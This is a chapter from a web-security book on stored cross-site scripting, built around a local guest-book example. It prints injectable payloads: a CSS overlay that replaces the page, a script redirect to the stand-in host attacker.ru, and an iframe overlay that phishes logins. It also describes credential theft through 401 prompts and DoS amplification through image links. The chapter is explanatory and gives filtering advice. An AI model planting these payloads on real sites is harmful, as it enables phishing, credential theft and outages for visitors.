Changing the Appearance of HTML Pages | Hacker Web Exploition Uncovered

When information entered by one user is displayed to other users on an HTML page without proper filtration, an attacker can change the appearance of this page as he or she likes. In general, when there is an XSS vulnerability of the second type (parameters of the HTTP GET request are output to an HTML page without filtration), the attacker theoretically can create a request so that if a user follows a certain link, he or she will reach a modified page of the Web site.

However, when the user follows a correct link the next time, he or she will see the original page. That is, such an exploitation of this vulnerability would be pointless.

So, consider a vulnerability, in which information entered by one user is displayed to other users without filtration. In this case, a malicious user can embed JavaScript code to change the appearance, contents, and behavior of an HTML page with JavaScript tools.

First, the attacker can change the displayed text. Although you can treat it as hooliganism, you should be aware of this possibility. For example, the output can be distorted when you output unclosed tags such as <b> , <font size =+10> , <font size=-10> , and <font color =white> , which explicitly affect the size, color, and other properties of the displayed elements.

For another example, if you open a comment tag, <!-- , all information output after it won't be displayed until the closing bracket for this comment is encountered somewhere else. A similar situation can take place if you embed unclosed tags such as <select> or <textarea> .

In addition, the attacker can embed JavaScript code that opens pop-up windows ; displays irrelevant messages; changes the size, position, or both of the browser window; and performs other actions that hamper normal functions of the client's system.

However, to implement this attack, the attacker even doesn't need to embed JavaScript code.

Return to the http://localhost/5/1.php example. To entirely change the contents of the HTML page to a desired text, add the following code to your message:

 <style>    #elem    {      z-index: 1;      position: absolute;      top: 0;      left: 0;      width: 100%;      height: 100%;      background-color: #ffffff;    }    </style>    <div id=elem>      <b>The new text for the HTML page    </div>

As a result, the page will entirely change its appearance and loose its functionality. Only the text within the <div> tags will be displayed.

What's the matter? At the beginning of the code, the #elem style is declared. It determines the parameters of layer filling. The layer z-index is set to 1 (the default value is 0), the absolute position is specified, the layer's position is set to the upper left corner, its size is set equal to that of the document, and the background color is set to white (the default color is transparent). Then a layer with this style is created, and some text is specified as filler.

As a result, the nontransparent layer occupies the entire browser window, and this layer contains data entered by the user (i.e., by you). This is how an attacker could "change" the contents of an HTML page.

In reality, the contents aren't changed. They are overlapped by other data, and you can make sure of this by examining the HTML code of the page:

http://localhost/5/1.php
<html><body> <center><b>guest book</b></center> <b>added 2004-11-17 16:32:43, user: Phoenix<br></b> <i> test message </i><br><br> <b>added 2004-11-17 16:33:14, user: test XSS<br></b> <i> <style> #elem { z-index: 1; position: absolute; top: 0; left: 0; width: 100%; height: 100%; background-color: #ffffff; } </style> <div id=elem> <b>The new text for the HTML page </div> </i><br><br> <hr> add a message:<br> <form method=POST> <input type=hidden name=mode value=add> name: <input type=text name=name><br> message:<br> <textarea name=message cols=50 rows=6></textarea><br> <input type=submit value=Add> </form> </body> </html>

http://localhost/5/1.php

 <html><body>    <center><b>guest book</b></center>        <b>added 2004-11-17 16:32:43, user: Phoenix<br></b>        <i>        test message        </i><br><br>        <b>added 2004-11-17 16:33:14, user: test XSS<br></b>        <i>        <style>    #elem    {      z-index: 1;      position: absolute;      top: 0;      left: 0;      width: 100%;      height: 100%;      background-color: #ffffff;    }    </style>    <div id=elem>      <b>The new text for the HTML page    </div>        </i><br><br>        <hr>    add a message:<br>    <form method=POST>    <input type=hidden name=mode value=add>    name: <input type=text name=name><br>    message:<br>    <textarea name=message cols=50 rows=6></textarea><br>    <input type=submit value=Add>    </form>    </body>    </html>

In some cases, the attacker needs to change the layer styles (e.g., top , left , height , and width ), depending on a particular page. Note that all the layer styles can be specified in the layer declaration:

 <div style="z-index: 1; position: absolute; top: 0; left: 0;    width: 100%; height: 100%; background-color: #ffffff;">      <b>The new text for the HTML page    </div>

The difference between this notation and the first one is that the second version is much shorter. On the other hand, the first notation doesn't need quotation marks that can be filtered on the server.

Nevertheless, the second piece of code could be written without the quotation marks:

 <div style=z-index:1;position:absolute;top:0;left:0;    width:100%;height:100%;background-color:#ffffff; >      <b>The new text for the HTML page    </div>

To launch such an attack, the attacker also doesn't need to embed JavaScript code. In other words, this attack will be effective even if a client disables JavaScript support in his or her browser.

If an attacker uses JavaScript, he or she will be able to direct a user to any page.

For example, the attacker can send the following message:

 <script Language=JavaScript>      document.location.href="http://www.attacker.ru/test.html";    </script>

As a result, any user who visits a page that displays this message without filtration will be redirected to the http://www.attacker.ru/test.html page.

In addition to upsetting the normal functionality of the site, this attack can be used to wheedle authentication information out of the user. The fake site can have the same appearance and functionality as the original site. A successful result of this attack is that the cheated user doesn't pay attention to the site's address and enters his or her authentication data (the login and the password) to the fake site, assuming that he or she is visiting the original site.

In addition, the attacker sometimes can replace the fake site's URL with the original URL in the user's browser. Such vulnerabilities have been found in many browsers; however, a description of them is beyond the scope of this book.

Even if a target user disables JavaScript in his or her browser and the script keyword is filtered, the attacker can launch an attack that uses layers .

If a page that displays data without filtration contains an authorization form, the attacker can create another form outwardly identical to the original one but overlapping it. The fake form can have the action parameter set by the attacker. When a user tries to log into the site and enters his or her authentication data into the fake form, the data will be sent to the site specified by the attacker. Thus, this vulnerability can be used to divulge users' confidential information.

In addition, an attacker can reveal users' information and substitute the contents of an HTML page by embedding the iframe element that takes up the entire free space and imitates the appearance of the original page. To do this, the attacker just needs to send a message like the following:

 <style>    #elem    {      z-index: 1;      position: absolute;      top: 0;      left: 0;      width: 100%;      height: 100%;      background-color: #ffffff;    }    </style>    <div id=elem>    <iframe src=http://www.attacker.ru/test.php width=100%    height=100%></iframe>    </div>

In some cases, to achieve the required effect, the attacker will need to adjust the top , left , width , and height parameters in the layer declaration.

The result of these machinations will be that the malicious site is displayed in the user's browser but the URL displayed in the browser will still point to the original site. What's more, when the user follows links of the original site, he or she will access the pages of the malicious site, the displayed URLs being original.

A similar situation will take place if the user sends data using a form on the malicious site that he or she believes is the original site.

In addition, an attacker can use JavaScript to divulge the information of users of a system. For example, he or she can write JavaScript code that opens a window suggesting that the user reenter the password, under a false pretence. Then, the entered password can be somehow sent to the attacker.

Data-sending tools of JavaScript will be described later.

Although such an attack might seem primitive, you shouldn't hope that an attacker won't use it when the other ways are barred.

There are two ways of implementing filtration against XSS when messages are added by users and stored on the server. First, primary filtration is done. That is, data are filtered before they are added to a repository (a database or a file) and are output from there without filtration. Second, the data are added to the repository without changing them (or, possibly, with a transformation unrelated to XSS) and are filtered against XSS before they are displayed to users.

These implementations don't differ much if the only way for a malicious user to add messages is an appropriate interface. However, you should be aware that attackers have other ways of accessing the system and other methods of adding messages. For example, an attacker can directly access the database or the file with messages by exploiting other vulnerabilities.

If a person has such access rights inside the system, he or she may ignore exploitation of the XSS vulnerability. However, he or she can try to use it to obtain higher privileges in the system. For example, if the system performs primary filtration and a malicious user can access the repository with messages output to third parties, he or she can embed JavaScript code to perform malicious actions.

In other words, if the system assumes the information in the repository is safe, the attacker will embed dangerous code into the presumably safe data.

If proper filtration is done before the data are displayed to users, the attacker won't be able to use JavaScript. So, systems that filter data before sending them to users should be preferred from the point of view of protection against the XSS vulnerability. Even if you take into account delays caused by data filtration each time the HTML page is displayed, they would be a minor price for the security.

In addition, be aware of an attack indirectly related to XSS that can be launched even when the XSS vulnerability isn't present explicitly.

Suppose that a chat, a forum, a newsgroup, or another service allows its users to leave messages for other users and include pictures from other sites in their messages. Also suppose that the addition of images to messages is well designed and cannot be used for another purpose.

For example, a user may have to insert special code (e.g., [IMG=http://sie/img.jpg] ) into his or her message to add an image. This adds the image from http://sie/img.jpg . Suppose that the text with an URL is filtered and should contain only uppercase and lowercase letters , slashes , periods, and colons (and shouldn't contain spaces). With such filtration, the functionality of adding an image is limited to the documented features.

However, the attacker can provide a link to an URL that responds so that undocumented features are activated. For example, a malicious server can respond with the 401 Unauthorized header. Most browsers will display a window suggesting the user enter the login and the password and containing text specified by the owner of the malicious server. To achieve this, the attacker would place the requested image into a password-protected part of his or her server.

This attack can be used for distorting the HTTP page, for littering it with popup dialog boxes, and for divulging user information by suggesting that users enter their logins and passwords. According to HTTP Basic authentication, the browser will send the login and the password entered by the user to the malicious server.

After the server receives and stores a login and a password, it can send the user an image (e.g., one transparent pixel) to avoid suspicion from the user.

The text that requires additional authorization from the user can be revealing .

Note that it doesn't matter what extension the file with an image has because the server specified in its URL belongs to the attacker. The attacker can configure his or her server so that a request for a JPG document passes control to a PHP script that outputs the HTTP header requiring authorization, and outputs the image after authorization.

If the system allows users to send addressed messages to each other and add links to images located on random sites, the attacker will be able to launch a targeted attack. In essence, this attack can be possible even if there is no vulnerability because adding images to messages can be a documented feature of a system rather than a vulnerability.

In addition, a server cannot check the honesty of another server's HTTP response. Even if the server analyzes an HTTP response returned from another server, the attacker will circumvent this protection by sending either an image or the authentication requirement as a response to HTTP requests sent from different IP addresses. The attacker would return an image if the HTTP request came from the server's network.

Even if the server checks the honesty of the response by using a random proxy server from a list, the attacker would be able to disclose this list by adding images to messages and analyzing IP addresses, from which the requests are coming.

If this check is implemented, the attacker can launch a DoS attack on the target server or use the vulnerable server (which implements this check) as a proxy for the DoS attack. For example, he or she can use the SQL injection vulnerability on a third-party server by embedding the Benchmark() construction.

A DoS attack that uses the SQL injection vulnerability on a MySQL server was described earlier in this book.

What's more, if you remember that the URL added to a message as the URL of an image can be any document, the attacker can add an URL that exploits the SQL injection vulnerability on a third-party server and heavily consumes resources on that server.

If there are many visitors on the page with a malicious link to an image, the result will be similar to a DoS attack on a vulnerable script. Because a few requests can make the third-party server inoperative, the malicious goal will be achieved quickly and will be long lasting . In fact, the third-party server will remain inoperative until its SQL injection vulnerability is eliminated.

Repelling attackers by their IP addresses won't be effective because the number of IP addresses will be equal to the number of visitors of the proxy until all these messages with images are deleted. A new visitor brings a new IP address.

Moreover, this attack will be anonymous.

The attacker can compensate for few visitors or deletion of messages containing the malicious links by sending the messages to several systems simultaneously .

Note that even an invulnerable server can be used as a proxy for a DoS attack because this attack doesn't use undocumented features.

In more complicated situations, the attacker can leave links to the same URL, that is, to a script on the attacker's server. Normally this script would return an error message, but during the attack it would return the 301 Moved Permanently or 302 Moved Temporarily header with the Location parameter equal to the specified URL. This approach would allow the attacker to accumulate many messages with this URL in several systems and switch the script to launch the attack. This would also allow the attacker to circumvent filtration based on checking the honesty of responses with images.

This is how an attacker can exploit the XSS vulnerability to change the pages of a site and divulge its visitors' information.

Next, I demonstrate how this vulnerability can be used for a DoS attack on a third-party server.